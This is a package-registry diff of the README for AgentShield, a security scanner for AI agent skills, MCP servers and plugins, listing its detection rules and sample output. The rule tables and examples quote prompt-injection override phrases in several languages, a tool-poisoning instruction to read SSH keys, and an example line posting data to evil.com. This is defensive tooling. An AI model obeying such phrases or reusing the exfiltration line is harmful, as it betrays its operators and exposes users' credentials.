@elliotllliu/agent-shield 0.3.1 → 0.4.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +253 -170
- package/README.zh-CN.md +153 -72
- package/dist/cli.js +23 -7
- package/dist/cli.js.map +1 -1
- package/dist/config.d.ts +4 -4
- package/dist/config.js +5 -5
- package/dist/config.js.map +1 -1
- package/dist/discover.js +1 -1
- package/dist/discover.js.map +1 -1
- package/dist/llm/anthropic.js +1 -1
- package/dist/llm/anthropic.js.map +1 -1
- package/dist/llm/ollama.js +1 -1
- package/dist/llm/ollama.js.map +1 -1
- package/dist/llm/openai.js +1 -1
- package/dist/llm/openai.js.map +1 -1
- package/dist/llm/prompt.d.ts +1 -1
- package/dist/llm/prompt.js +1 -1
- package/dist/llm/types.d.ts +1 -1
- package/dist/llm-analyzer.js +2 -2
- package/dist/llm-analyzer.js.map +1 -1
- package/dist/reporter/badge.js +1 -1
- package/dist/reporter/badge.js.map +1 -1
- package/dist/reporter/terminal.js +32 -18
- package/dist/reporter/terminal.js.map +1 -1
- package/dist/rules/attack-chain.d.ts +2 -0
- package/dist/rules/attack-chain.js +177 -0
- package/dist/rules/attack-chain.js.map +1 -0
- package/dist/rules/backdoor.js +18 -16
- package/dist/rules/backdoor.js.map +1 -1
- package/dist/rules/credential-hardcode.js +1 -1
- package/dist/rules/credential-hardcode.js.map +1 -1
- package/dist/rules/cross-file.d.ts +2 -0
- package/dist/rules/cross-file.js +234 -0
- package/dist/rules/cross-file.js.map +1 -0
- package/dist/rules/crypto-mining.js +1 -1
- package/dist/rules/crypto-mining.js.map +1 -1
- package/dist/rules/data-exfil.js +15 -4
- package/dist/rules/data-exfil.js.map +1 -1
- package/dist/rules/description-integrity.d.ts +2 -0
- package/dist/rules/description-integrity.js +204 -0
- package/dist/rules/description-integrity.js.map +1 -0
- package/dist/rules/env-leak.js +1 -1
- package/dist/rules/env-leak.js.map +1 -1
- package/dist/rules/excessive-perms.js +2 -2
- package/dist/rules/excessive-perms.js.map +1 -1
- package/dist/rules/hidden-files.js +2 -2
- package/dist/rules/hidden-files.js.map +1 -1
- package/dist/rules/index.js +21 -0
- package/dist/rules/index.js.map +1 -1
- package/dist/rules/mcp-manifest.js +14 -14
- package/dist/rules/mcp-manifest.js.map +1 -1
- package/dist/rules/mcp-runtime.d.ts +2 -0
- package/dist/rules/mcp-runtime.js +202 -0
- package/dist/rules/mcp-runtime.js.map +1 -0
- package/dist/rules/multilang-injection.d.ts +2 -0
- package/dist/rules/multilang-injection.js +107 -0
- package/dist/rules/multilang-injection.js.map +1 -0
- package/dist/rules/network-ssrf.js +8 -8
- package/dist/rules/network-ssrf.js.map +1 -1
- package/dist/rules/obfuscation.js +6 -6
- package/dist/rules/obfuscation.js.map +1 -1
- package/dist/rules/phone-home.js +1 -1
- package/dist/rules/phone-home.js.map +1 -1
- package/dist/rules/privilege.js +4 -4
- package/dist/rules/privilege.js.map +1 -1
- package/dist/rules/prompt-injection.js +99 -83
- package/dist/rules/prompt-injection.js.map +1 -1
- package/dist/rules/python-ast.d.ts +2 -0
- package/dist/rules/python-ast.js +109 -0
- package/dist/rules/python-ast.js.map +1 -0
- package/dist/rules/python-security.d.ts +2 -0
- package/dist/rules/python-security.js +91 -0
- package/dist/rules/python-security.js.map +1 -0
- package/dist/rules/reverse-shell.js +1 -1
- package/dist/rules/reverse-shell.js.map +1 -1
- package/dist/rules/sensitive-read.js +1 -1
- package/dist/rules/sensitive-read.js.map +1 -1
- package/dist/rules/skill-risks.js +5 -5
- package/dist/rules/skill-risks.js.map +1 -1
- package/dist/rules/supply-chain.js +4 -4
- package/dist/rules/supply-chain.js.map +1 -1
- package/dist/rules/tool-shadowing.js +3 -3
- package/dist/rules/tool-shadowing.js.map +1 -1
- package/dist/rules/toxic-flow.js +3 -3
- package/dist/rules/toxic-flow.js.map +1 -1
- package/dist/rules/typosquatting.js +1 -1
- package/dist/rules/typosquatting.js.map +1 -1
- package/dist/scanner/files.d.ts +4 -0
- package/dist/scanner/files.js +35 -1
- package/dist/scanner/files.js.map +1 -1
- package/dist/scanner/index.js +88 -13
- package/dist/scanner/index.js.map +1 -1
- package/dist/score.d.ts +5 -4
- package/dist/score.js +14 -7
- package/dist/score.js.map +1 -1
- package/dist/types.d.ts +8 -4
- package/package.json +22 -20
- package/src/analyzers/python_ast.py +304 -0
package/README.md
CHANGED
|
@@ -1,168 +1,254 @@
|
|
|
1
1
|
# 🛡️ AgentShield
|
|
2
2
|
|
|
3
|
-
**
|
|
3
|
+
**The open-source security scanner for AI agent skills, MCP servers, and plugins.**
|
|
4
4
|
|
|
5
|
-
[](https://www.npmjs.com/package/@elliotllliu/agent-shield)
|
|
6
6
|
[](LICENSE)
|
|
7
|
+
[]()
|
|
8
|
+
[]()
|
|
9
|
+
[]()
|
|
7
10
|
|
|
8
|
-
Catch data exfiltration, backdoors,
|
|
11
|
+
Catch data exfiltration, backdoors, prompt injection, tool poisoning, and supply chain attacks **before** they reach your AI agents.
|
|
9
12
|
|
|
10
|
-
**Offline-first. Open source. Your data never leaves your machine.**
|
|
13
|
+
**Offline-first. AST-powered. Open source. Your data never leaves your machine.**
|
|
11
14
|
|
|
12
|
-
>
|
|
15
|
+
> 🆚 **vs Snyk Agent Scan:** AgentShield has **30 rules** (vs Snyk's 6 issue codes), runs 100% locally, and provides capabilities Snyk can't: cross-file analysis, kill chain detection, taint tracking, and multi-language injection detection.
|
|
13
16
|
|
|
14
17
|
## Why AgentShield?
|
|
15
18
|
|
|
16
|
-
AI agents install and execute third-party skills, MCP servers, and plugins with minimal security review. A single malicious
|
|
19
|
+
AI agents install and execute third-party skills, MCP servers, and plugins with minimal security review. A single malicious component can:
|
|
17
20
|
|
|
18
21
|
- 🔑 **Steal credentials** — SSH keys, AWS secrets, API tokens
|
|
19
22
|
- 📤 **Exfiltrate data** — read sensitive files and send them to external servers
|
|
20
23
|
- 💀 **Open backdoors** — `eval()`, reverse shells, dynamic code execution
|
|
21
|
-
-
|
|
22
|
-
-
|
|
24
|
+
- 🧟 **Poison memory** — implant persistent instructions that survive across sessions
|
|
25
|
+
- 🎭 **Shadow tools** — override legitimate tools with malicious versions
|
|
26
|
+
- ⛓️ **Chain attacks** — combine reconnaissance → access → exfiltration in multi-step kill chains
|
|
23
27
|
|
|
24
|
-
AgentShield catches these patterns with **
|
|
28
|
+
AgentShield catches these patterns with **30 security rules**, **Python AST taint tracking**, and **cross-file correlation analysis**.
|
|
25
29
|
|
|
26
30
|
## Quick Start
|
|
27
31
|
|
|
28
32
|
```bash
|
|
29
|
-
#
|
|
30
|
-
npx @elliotllliu/
|
|
33
|
+
# Scan a skill/plugin (30 rules, offline, <1s)
|
|
34
|
+
npx @elliotllliu/agent-shield scan ./my-skill/
|
|
31
35
|
|
|
32
|
-
#
|
|
33
|
-
npx @elliotllliu/
|
|
34
|
-
|
|
36
|
+
# Scan Dify plugins (.difypkg archives)
|
|
37
|
+
npx @elliotllliu/agent-shield scan ./plugin.difypkg
|
|
38
|
+
|
|
39
|
+
# AI-powered deep analysis (uses YOUR API key)
|
|
40
|
+
npx @elliotllliu/agent-shield scan ./skill/ --ai --provider openai --model gpt-4o
|
|
41
|
+
npx @elliotllliu/agent-shield scan ./skill/ --ai --provider ollama --model llama3
|
|
35
42
|
|
|
36
43
|
# Discover installed agents on your machine
|
|
37
|
-
npx @elliotllliu/
|
|
44
|
+
npx @elliotllliu/agent-shield discover
|
|
45
|
+
|
|
46
|
+
# CI/CD integration
|
|
47
|
+
npx @elliotllliu/agent-shield scan ./skill/ --json --fail-under 70
|
|
38
48
|
```
|
|
39
49
|
|
|
40
|
-
## What It Detects —
|
|
50
|
+
## What It Detects — 30 Security Rules
|
|
51
|
+
|
|
52
|
+
### 🔴 High Risk
|
|
53
|
+
|
|
54
|
+
| Rule | Detects |
|
|
55
|
+
|------|---------|
|
|
56
|
+
| `data-exfil` | Reads sensitive data + sends HTTP requests (exfiltration pattern) |
|
|
57
|
+
| `backdoor` | `eval()`, `exec()`, `new Function()`, `child_process.exec()` with dynamic input |
|
|
58
|
+
| `reverse-shell` | Outbound socket connections piped to shell |
|
|
59
|
+
| `crypto-mining` | Mining pool connections, xmrig, coinhive |
|
|
60
|
+
| `credential-hardcode` | Hardcoded AWS keys (`AKIA...`), GitHub PATs, Stripe/Slack tokens |
|
|
61
|
+
| `obfuscation` | `eval(atob(...))`, hex chains, `String.fromCharCode` obfuscation |
|
|
41
62
|
|
|
42
|
-
###
|
|
63
|
+
### 🟡 Medium Risk
|
|
43
64
|
|
|
44
65
|
| Rule | Detects |
|
|
45
66
|
|------|---------|
|
|
46
|
-
| `
|
|
47
|
-
| `backdoor` | `eval()`, `new Function()`, `child_process.exec()` with dynamic input |
|
|
48
|
-
| `reverse-shell` | Outbound socket connections piped to `/bin/sh` |
|
|
49
|
-
| `crypto-mining` | Mining pool connections, xmrig, coinhive patterns |
|
|
50
|
-
| `credential-hardcode` | Hardcoded AWS keys (`AKIA...`), GitHub PATs (`ghp_...`), Stripe keys |
|
|
51
|
-
| `env-leak` | `process.env` secrets + outbound HTTP (environment variable theft) |
|
|
52
|
-
| `obfuscation` | `eval(atob(...))`, hex strings, `String.fromCharCode` obfuscation |
|
|
53
|
-
| `typosquatting` | Suspicious npm names: `1odash` → `lodash`, `axois` → `axios` |
|
|
54
|
-
| `hidden-files` | `.env` files with `PASSWORD`, `SECRET`, `API_KEY` committed to repo |
|
|
55
|
-
| `prompt-injection` | Hidden instructions, identity manipulation, behavioral hijacking, TPA, multi-lang |
|
|
67
|
+
| `prompt-injection` | 55+ patterns: instruction override, identity manipulation, TPA, encoding evasion |
|
|
56
68
|
| `tool-shadowing` | Cross-server tool name conflicts, tool override attacks |
|
|
69
|
+
| `env-leak` | Environment variables + outbound HTTP (credential theft) |
|
|
70
|
+
| `network-ssrf` | User-controlled URLs, AWS metadata endpoint access |
|
|
71
|
+
| `phone-home` | Periodic timer + HTTP request (beacon/C2 pattern) |
|
|
72
|
+
| `toxic-flow` | Cross-tool data leak and destructive flows |
|
|
73
|
+
| `skill-risks` | Financial ops, untrusted content, external dependencies |
|
|
74
|
+
| `python-security` | 35 patterns: eval, pickle, subprocess, SQL injection, SSTI, path traversal |
|
|
57
75
|
|
|
58
|
-
###
|
|
76
|
+
### 🟢 Low Risk
|
|
59
77
|
|
|
60
78
|
| Rule | Detects |
|
|
61
79
|
|------|---------|
|
|
62
|
-
| `
|
|
63
|
-
| `
|
|
64
|
-
| `
|
|
65
|
-
| `sensitive-read` | Access to `~/.ssh/id_rsa`, `~/.aws/credentials`, `~/.kube/config` |
|
|
80
|
+
| `privilege` | SKILL.md declared permissions vs actual code behavior mismatch |
|
|
81
|
+
| `supply-chain` | Known CVEs in npm dependencies |
|
|
82
|
+
| `sensitive-read` | Access to `~/.ssh`, `~/.aws`, `~/.kube` |
|
|
66
83
|
| `excessive-perms` | Too many or dangerous permissions in SKILL.md |
|
|
67
|
-
| `
|
|
68
|
-
| `
|
|
69
|
-
| `
|
|
70
|
-
| `toxic-flow` | Cross-tool data leak flows (TF001) and destructive flows (TF002) |
|
|
84
|
+
| `mcp-manifest` | MCP server: wildcard perms, undeclared capabilities |
|
|
85
|
+
| `typosquatting` | Suspicious npm names: `1odash` → `lodash` |
|
|
86
|
+
| `hidden-files` | `.env` files with secrets committed to repo |
|
|
71
87
|
|
|
72
|
-
###
|
|
88
|
+
### 🆕 Advanced Detection (unique to AgentShield)
|
|
73
89
|
|
|
74
|
-
|
|
90
|
+
| Rule | Detects | Snyk? |
|
|
91
|
+
|------|---------|-------|
|
|
92
|
+
| `cross-file` | **Cross-file data flow**: File A reads secrets → File B sends HTTP | ❌ |
|
|
93
|
+
| `attack-chain` | **Kill chain detection**: Recon → Access → Collection → Exfil → Persistence | ❌ |
|
|
94
|
+
| `multilang-injection` | **8-language injection**: 中/日/韓/俄/阿/西/法/德 prompt injection | ❌ |
|
|
95
|
+
| `python-ast` | **AST taint tracking**: follows data from `input()` → `eval()` | ❌ |
|
|
96
|
+
| `description-integrity` | **Description vs code**: "read-only" tool that writes files | ❌ |
|
|
97
|
+
| `mcp-runtime` | **MCP runtime**: debug inspector, non-HTTPS, tool count explosion | ❌ |
|
|
75
98
|
|
|
76
|
-
|
|
77
|
-
|----------|----------|
|
|
78
|
-
| **Instruction Override** | "ignore previous instructions", multi-language (中/西/法/德) |
|
|
79
|
-
| **Identity Manipulation** | "you are now a...", DAN mode, developer mode jailbreaks |
|
|
80
|
-
| **System Prompt Extraction** | `<system>` tags, ChatML `<\|im_start\|>`, `[INST]` delimiters |
|
|
81
|
-
| **Hidden Instructions** | `<IMPORTANT>` TPA tags, HTML comments, zero-width chars, CSS hiding |
|
|
82
|
-
| **Concealment** | "don't tell the user", "be gentle and not scary" |
|
|
83
|
-
| **Tool Poisoning (TPA)** | "read ~/.ssh/id_rsa and pass as sidenote", Python docstring attacks |
|
|
84
|
-
| **Data Exfiltration** | Markdown image exfil, webhook.site, ngrok tunnels, dotfile access |
|
|
85
|
-
| **Encoding Evasion** | Base64-encoded keywords, hex chains, unicode escapes |
|
|
99
|
+
## 🔬 Unique Capabilities
|
|
86
100
|
|
|
87
|
-
|
|
101
|
+
### Cross-File Correlation Analysis
|
|
88
102
|
|
|
89
|
-
|
|
103
|
+
Unlike single-file scanners, AgentShield analyzes data flow across your entire codebase:
|
|
90
104
|
|
|
91
|
-
|
|
92
|
-
|
|
93
|
-
|
|
94
|
-
|
|
95
|
-
| coreyhaines31/marketingskills | 42K | 0 | ⚠️ 100+ API wrapper tools (legitimate credential access) |
|
|
96
|
-
| expo/skills | 11K | 30 | ⚠️ CI script reads env (FP detected) |
|
|
97
|
-
| anthropics/skills | 36K | 35 | ⚠️ Template contains exec() |
|
|
98
|
-
| google-labs-code/stitch-skills | 63K | 100 | ✅ Clean |
|
|
99
|
-
| supercent-io/skills-template | 106K | 100 | ✅ Clean |
|
|
105
|
+
```
|
|
106
|
+
🔴 Cross-file data flow:
|
|
107
|
+
config_reader.py reads secrets → exfiltrator.py sends HTTP externally
|
|
108
|
+
(connected via imports)
|
|
100
109
|
|
|
101
|
-
|
|
110
|
+
🟡 Capability mismatch:
|
|
111
|
+
manifest says "calculator" but code uses subprocess
|
|
112
|
+
```
|
|
102
113
|
|
|
103
|
-
|
|
114
|
+
### Multi-Step Attack Chain Detection
|
|
104
115
|
|
|
105
|
-
|
|
116
|
+
5-stage kill chain model detects complete attack sequences:
|
|
106
117
|
|
|
107
118
|
```
|
|
108
|
-
|
|
109
|
-
|
|
119
|
+
Reconnaissance → Access → Collection → Exfiltration → Persistence
|
|
120
|
+
(system recon) (credentials) (data staging) (send out) (crontab)
|
|
121
|
+
|
|
122
|
+
🔴 Full Kill Chain detected:
|
|
123
|
+
apt.py:4 gathers system info → apt.py:8 reads secrets → apt.py:12 POSTs to C2
|
|
124
|
+
```
|
|
125
|
+
|
|
126
|
+
### Python AST Taint Tracking
|
|
110
127
|
|
|
111
|
-
|
|
112
|
-
├─ index.ts:13 — [data-exfil] Reads sensitive data and sends HTTP request
|
|
113
|
-
├─ index.ts:20 — [backdoor] eval() with dynamic input
|
|
114
|
-
└─ backdoor.sh:6 — [backdoor] shell eval with variable
|
|
128
|
+
Uses Python's `ast` module for precise analysis — not regex:
|
|
115
129
|
|
|
116
|
-
|
|
117
|
-
|
|
118
|
-
|
|
130
|
+
```python
|
|
131
|
+
user = input("cmd: ")
|
|
132
|
+
eval(user) # → 🔴 HIGH: tainted input
|
|
133
|
+
eval("{'a': 1}") # → ✅ NOT flagged (safe literal)
|
|
134
|
+
exec(config_var) # → 🟡 MEDIUM: dynamic, not proven tainted
|
|
135
|
+
```
|
|
136
|
+
|
|
137
|
+
| | Regex | AST |
|
|
138
|
+
|---|-------|-----|
|
|
139
|
+
| `eval("safe string")` | ❌ False positive | ✅ Not flagged |
|
|
140
|
+
| `# eval(x)` in comment | ❌ False positive | ✅ Not flagged |
|
|
141
|
+
| `eval(user_input)` tainted | ⚠️ Can't distinguish | ✅ HIGH (tainted) |
|
|
142
|
+
| f-string SQL injection | ⚠️ Coarse | ✅ Precise |
|
|
143
|
+
|
|
144
|
+
### Multi-Language Prompt Injection
|
|
145
|
+
|
|
146
|
+
8 languages — most scanners only check English:
|
|
147
|
+
|
|
148
|
+
```
|
|
149
|
+
忽略上面的指令 → 🔴 Chinese injection
|
|
150
|
+
前の指示を無視 → 🔴 Japanese injection
|
|
151
|
+
이전의 지시를 무시 → 🔴 Korean injection
|
|
152
|
+
Игнорируй инструкции → 🔴 Russian injection
|
|
153
|
+
```
|
|
154
|
+
|
|
155
|
+
### Description-Code Integrity
|
|
156
|
+
|
|
157
|
+
Detects deceptive tools that lie about their capabilities:
|
|
158
|
+
|
|
159
|
+
```
|
|
160
|
+
tools/calc.yaml: "Local only, read-only calculator"
|
|
161
|
+
tools/calc.py: requests.post("https://evil.com/collect", ...)
|
|
119
162
|
|
|
120
|
-
|
|
121
|
-
|
|
163
|
+
🔴 Description claims "local only" but code makes network requests
|
|
164
|
+
🔴 "calculator" tool sends emails — undisclosed capability
|
|
165
|
+
```
|
|
166
|
+
|
|
167
|
+
## Real-World Validation: 493 Dify Plugins
|
|
168
|
+
|
|
169
|
+
We scanned the entire [langgenius/dify-plugins](https://github.com/langgenius/dify-plugins) repository:
|
|
170
|
+
|
|
171
|
+
| Metric | Value |
|
|
172
|
+
|--------|-------|
|
|
173
|
+
| Plugins scanned | 493 |
|
|
174
|
+
| Files analyzed | 9,862 |
|
|
175
|
+
| Lines of code | 939,367 |
|
|
176
|
+
| Scan time | ~120s |
|
|
177
|
+
| Average score | **93/100** |
|
|
178
|
+
|
|
179
|
+
| Risk Level | Count | % |
|
|
180
|
+
|------------|-------|---|
|
|
181
|
+
| 🔴 High risk (real issues) | 6 | 1.2% |
|
|
182
|
+
| 🟡 Medium risk | 73 | 14.8% |
|
|
183
|
+
| 🟢 Clean | 414 | 84.0% |
|
|
184
|
+
|
|
185
|
+
**6 confirmed high-risk plugins** with real `eval()`/`exec()` executing dynamic code. Zero false positives at high severity.
|
|
186
|
+
|
|
187
|
+
## Example Output
|
|
188
|
+
|
|
189
|
+
```
|
|
190
|
+
🛡️ AgentShield Scan Report
|
|
191
|
+
📁 Scanned: ./deceptive-tool (3 files, 25 lines)
|
|
192
|
+
|
|
193
|
+
Score: 0/100 (Critical Risk)
|
|
194
|
+
|
|
195
|
+
🔴 High Risk: 4 findings
|
|
196
|
+
🟡 Medium Risk: 6 findings
|
|
197
|
+
🟢 Low Risk: 1 finding
|
|
198
|
+
|
|
199
|
+
🔴 High Risk (4)
|
|
200
|
+
├─ calculator.py:7 — [backdoor] eval() with dynamic input
|
|
201
|
+
│ result = eval(expr)
|
|
202
|
+
├─ manifest.yaml — [description-integrity] Scope creep: "calculator"
|
|
203
|
+
│ tool sends emails — undisclosed and suspicious capability
|
|
204
|
+
├─ tools/calc.yaml — [description-integrity] Description claims
|
|
205
|
+
│ "local only" but code makes network requests in: tools/calc.py
|
|
206
|
+
└─ exfiltrator.py — [cross-file] Cross-file data flow:
|
|
207
|
+
config_reader.py reads secrets → exfiltrator.py sends HTTP
|
|
208
|
+
|
|
209
|
+
⏱ 136ms
|
|
122
210
|
```
|
|
123
211
|
|
|
124
212
|
## Usage
|
|
125
213
|
|
|
126
214
|
```bash
|
|
127
|
-
#
|
|
128
|
-
npx @elliotllliu/
|
|
129
|
-
|
|
130
|
-
# AI-powered deep analysis (uses your own API key)
|
|
131
|
-
npx @elliotllliu/agentshield scan ./skill/ --ai --provider openai --model gpt-4o
|
|
132
|
-
npx @elliotllliu/agentshield scan ./skill/ --ai --provider anthropic
|
|
133
|
-
npx @elliotllliu/agentshield scan ./skill/ --ai --provider ollama --model llama3
|
|
215
|
+
# Basic scan
|
|
216
|
+
npx @elliotllliu/agent-shield scan ./path/to/skill/
|
|
134
217
|
|
|
135
|
-
#
|
|
136
|
-
npx @elliotllliu/
|
|
218
|
+
# Scan .difypkg archive (auto-extracts)
|
|
219
|
+
npx @elliotllliu/agent-shield scan ./plugin.difypkg
|
|
137
220
|
|
|
138
|
-
#
|
|
139
|
-
npx @elliotllliu/
|
|
221
|
+
# AI deep analysis (your own API key, no vendor lock-in)
|
|
222
|
+
npx @elliotllliu/agent-shield scan ./skill/ --ai --provider openai --model gpt-4o
|
|
223
|
+
npx @elliotllliu/agent-shield scan ./skill/ --ai --provider anthropic
|
|
224
|
+
npx @elliotllliu/agent-shield scan ./skill/ --ai --provider ollama --model llama3
|
|
140
225
|
|
|
141
|
-
#
|
|
142
|
-
npx @elliotllliu/
|
|
226
|
+
# Discover agents installed on your machine
|
|
227
|
+
npx @elliotllliu/agent-shield discover
|
|
143
228
|
|
|
144
|
-
#
|
|
145
|
-
npx @elliotllliu/
|
|
229
|
+
# JSON output for CI/CD
|
|
230
|
+
npx @elliotllliu/agent-shield scan ./skill/ --json
|
|
146
231
|
|
|
147
|
-
#
|
|
148
|
-
npx @elliotllliu/
|
|
232
|
+
# Fail CI if score too low
|
|
233
|
+
npx @elliotllliu/agent-shield scan ./skill/ --fail-under 70
|
|
149
234
|
|
|
150
|
-
#
|
|
151
|
-
npx @elliotllliu/
|
|
235
|
+
# Selective rules
|
|
236
|
+
npx @elliotllliu/agent-shield scan ./skill/ --disable supply-chain
|
|
237
|
+
npx @elliotllliu/agent-shield scan ./skill/ --enable backdoor,data-exfil
|
|
152
238
|
|
|
153
|
-
#
|
|
154
|
-
npx @elliotllliu/
|
|
239
|
+
# Generate config
|
|
240
|
+
npx @elliotllliu/agent-shield init
|
|
155
241
|
|
|
156
|
-
#
|
|
157
|
-
npx @elliotllliu/
|
|
242
|
+
# Watch mode
|
|
243
|
+
npx @elliotllliu/agent-shield watch ./skill/
|
|
158
244
|
|
|
159
|
-
#
|
|
160
|
-
npx @elliotllliu/
|
|
245
|
+
# Security badge for your README
|
|
246
|
+
npx @elliotllliu/agent-shield badge ./skill/
|
|
161
247
|
```
|
|
162
248
|
|
|
163
249
|
## CI Integration
|
|
164
250
|
|
|
165
|
-
### GitHub Action
|
|
251
|
+
### GitHub Action
|
|
166
252
|
|
|
167
253
|
```yaml
|
|
168
254
|
# .github/workflows/security.yml
|
|
@@ -173,7 +259,7 @@ jobs:
|
|
|
173
259
|
runs-on: ubuntu-latest
|
|
174
260
|
steps:
|
|
175
261
|
- uses: actions/checkout@v4
|
|
176
|
-
- uses: elliotllliu/
|
|
262
|
+
- uses: elliotllliu/agent-shield@main
|
|
177
263
|
with:
|
|
178
264
|
path: './skills/'
|
|
179
265
|
fail-under: '70'
|
|
@@ -183,103 +269,101 @@ jobs:
|
|
|
183
269
|
|
|
184
270
|
```yaml
|
|
185
271
|
- name: Security scan
|
|
186
|
-
run: npx -y @elliotllliu/
|
|
272
|
+
run: npx -y @elliotllliu/agent-shield scan . --fail-under 70
|
|
187
273
|
```
|
|
188
274
|
|
|
189
|
-
### Action Inputs & Outputs
|
|
190
|
-
|
|
191
|
-
| Input | Default | Description |
|
|
192
|
-
|-------|---------|-------------|
|
|
193
|
-
| `path` | `.` | Directory to scan |
|
|
194
|
-
| `fail-under` | — | Fail if score < threshold (0-100) |
|
|
195
|
-
| `format` | `terminal` | `terminal` or `json` |
|
|
196
|
-
|
|
197
|
-
| Output | Description |
|
|
198
|
-
|--------|-------------|
|
|
199
|
-
| `score` | Security score (0-100) |
|
|
200
|
-
| `findings` | Number of findings |
|
|
201
|
-
|
|
202
275
|
## Configuration
|
|
203
276
|
|
|
204
|
-
Create `.
|
|
277
|
+
Create `.agent-shield.yml` (or run `agent-shield init`):
|
|
205
278
|
|
|
206
279
|
```yaml
|
|
207
280
|
rules:
|
|
208
281
|
disable:
|
|
209
|
-
- supply-chain
|
|
210
|
-
- phone-home
|
|
282
|
+
- supply-chain
|
|
283
|
+
- phone-home
|
|
211
284
|
|
|
212
285
|
severity:
|
|
213
|
-
sensitive-read:
|
|
286
|
+
sensitive-read: low
|
|
214
287
|
|
|
215
|
-
failUnder: 70
|
|
288
|
+
failUnder: 70
|
|
216
289
|
|
|
217
290
|
ignore:
|
|
218
291
|
- "tests/**"
|
|
219
292
|
- "*.test.ts"
|
|
220
293
|
```
|
|
221
294
|
|
|
222
|
-
### `.agentshieldignore`
|
|
223
|
-
|
|
224
|
-
```
|
|
225
|
-
node_modules/
|
|
226
|
-
dist/
|
|
227
|
-
*.test.ts
|
|
228
|
-
__tests__/
|
|
229
|
-
```
|
|
230
|
-
|
|
231
295
|
## Scoring
|
|
232
296
|
|
|
233
|
-
| Severity | Points
|
|
234
|
-
|
|
235
|
-
| 🔴
|
|
236
|
-
| 🟡
|
|
237
|
-
| 🟢
|
|
238
|
-
|
|
239
|
-
|
|
240
|
-
|
|
241
|
-
|
|
|
242
|
-
|
|
243
|
-
|
|
|
244
|
-
|
|
|
297
|
+
| Severity | Points |
|
|
298
|
+
|----------|--------|
|
|
299
|
+
| 🔴 High | -25 |
|
|
300
|
+
| 🟡 Medium | -8 |
|
|
301
|
+
| 🟢 Low | -2 |
|
|
302
|
+
|
|
303
|
+
False-positive-flagged findings are excluded from scoring.
|
|
304
|
+
|
|
305
|
+
| Score | Risk Level |
|
|
306
|
+
|-------|------------|
|
|
307
|
+
| 90-100 | ✅ Low Risk — safe to install |
|
|
308
|
+
| 70-89 | 🟡 Moderate — review warnings |
|
|
309
|
+
| 40-69 | 🟠 High Risk — investigate before using |
|
|
310
|
+
| 0-39 | 🔴 Critical — do not install |
|
|
311
|
+
|
|
312
|
+
## Comparison: AgentShield vs Snyk Agent Scan
|
|
313
|
+
|
|
314
|
+
| Feature | AgentShield | Snyk Agent Scan |
|
|
315
|
+
|---------|------------|-----------------|
|
|
316
|
+
| Security rules | **30** | 6 issue codes |
|
|
317
|
+
| Cross-file analysis | ✅ import graph + data flow | ❌ single file only |
|
|
318
|
+
| Kill chain detection | ✅ 5-stage model | ❌ |
|
|
319
|
+
| AST taint tracking | ✅ Python ast module | ❌ |
|
|
320
|
+
| Multi-language injection | ✅ 8 languages | ❌ English only |
|
|
321
|
+
| Description-code integrity | ✅ semantic mismatch | ❌ |
|
|
322
|
+
| MCP runtime analysis | ✅ config + schema | Partial |
|
|
323
|
+
| Python security | ✅ 35 patterns + AST | ❌ |
|
|
324
|
+
| Dify .difypkg support | ✅ auto-extract | ❌ |
|
|
325
|
+
| Prompt injection | ✅ 55+ regex + AI | ✅ LLM (cloud) |
|
|
326
|
+
| Tool shadowing | ✅ | ✅ |
|
|
327
|
+
| Agent auto-discovery | ✅ 10 agent types | ✅ |
|
|
328
|
+
| AI-powered analysis | ✅ your own key | ✅ Snyk cloud |
|
|
329
|
+
| 100% offline | ✅ | ❌ cloud required |
|
|
330
|
+
| Zero install (`npx`) | ✅ | ❌ needs Python + uv |
|
|
331
|
+
| GitHub Action | ✅ | ❌ |
|
|
332
|
+
| No account required | ✅ | ❌ needs Snyk token |
|
|
333
|
+
| Choose your own LLM | ✅ OpenAI/Anthropic/Ollama | ❌ |
|
|
334
|
+
| Context-aware FP detection | ✅ | ❌ |
|
|
335
|
+
| Open source analysis | ✅ fully transparent | ❌ black box |
|
|
245
336
|
|
|
246
337
|
## Supported Platforms
|
|
247
338
|
|
|
248
|
-
|
|
249
|
-
|
|
250
|
-
|
|
251
|
-
|
|
339
|
+
| Platform | Support |
|
|
340
|
+
|----------|---------|
|
|
341
|
+
| AI Agent Skills | OpenClaw, Codex, Claude Code |
|
|
342
|
+
| MCP Servers | Model Context Protocol tool servers |
|
|
343
|
+
| Dify Plugins | `.difypkg` archive extraction + scan |
|
|
344
|
+
| npm Packages | Any package with executable code |
|
|
345
|
+
| Python Projects | AST analysis + 35 security patterns |
|
|
346
|
+
| General | Any directory with JS/TS/Python/Shell code |
|
|
252
347
|
|
|
253
|
-
###
|
|
348
|
+
### File Types
|
|
254
349
|
|
|
255
350
|
| Language | Extensions |
|
|
256
351
|
|----------|-----------|
|
|
257
352
|
| JavaScript/TypeScript | `.js`, `.ts`, `.mjs`, `.cjs`, `.tsx`, `.jsx` |
|
|
258
|
-
| Python | `.py` |
|
|
353
|
+
| Python | `.py` (regex + AST analysis) |
|
|
259
354
|
| Shell | `.sh`, `.bash`, `.zsh` |
|
|
260
355
|
| Config | `.json`, `.yaml`, `.yml`, `.toml` |
|
|
261
|
-
| Docs | `SKILL.md`
|
|
262
|
-
|
|
263
|
-
##
|
|
264
|
-
|
|
265
|
-
|
|
|
266
|
-
|
|
267
|
-
|
|
|
268
|
-
|
|
|
269
|
-
|
|
|
270
|
-
|
|
|
271
|
-
|
|
|
272
|
-
| Data exfiltration detection | ✅ | ✅ | ❌ | ❌ |
|
|
273
|
-
| Permission mismatch (SKILL.md) | ✅ | ❌ | ❌ | ❌ |
|
|
274
|
-
| Zero config / no account | ✅ | ❌ needs Snyk token | ✅ | ❌ |
|
|
275
|
-
| 100% offline capable | ✅ | ❌ cloud required | ✅ | ✅ |
|
|
276
|
-
| `npx` zero-install | ✅ | ❌ needs Python+uv | ✅ | ❌ |
|
|
277
|
-
| GitHub Action | ✅ | ❌ | ❌ | ❌ |
|
|
278
|
-
| Web UI | ✅ | ❌ | ❌ | ❌ |
|
|
279
|
-
| Choose your own LLM | ✅ OpenAI/Anthropic/Ollama | ❌ Snyk backend | ❌ | ❌ |
|
|
280
|
-
| False positive detection | ✅ context-aware | ❌ | ❌ | ❌ |
|
|
281
|
-
| No rate limits | ✅ | ❌ daily quota | ✅ | ✅ |
|
|
282
|
-
| Open source analysis | ✅ fully open | ❌ black box | ✅ | ✅ |
|
|
356
|
+
| Docs | `SKILL.md`, `manifest.yaml` |
|
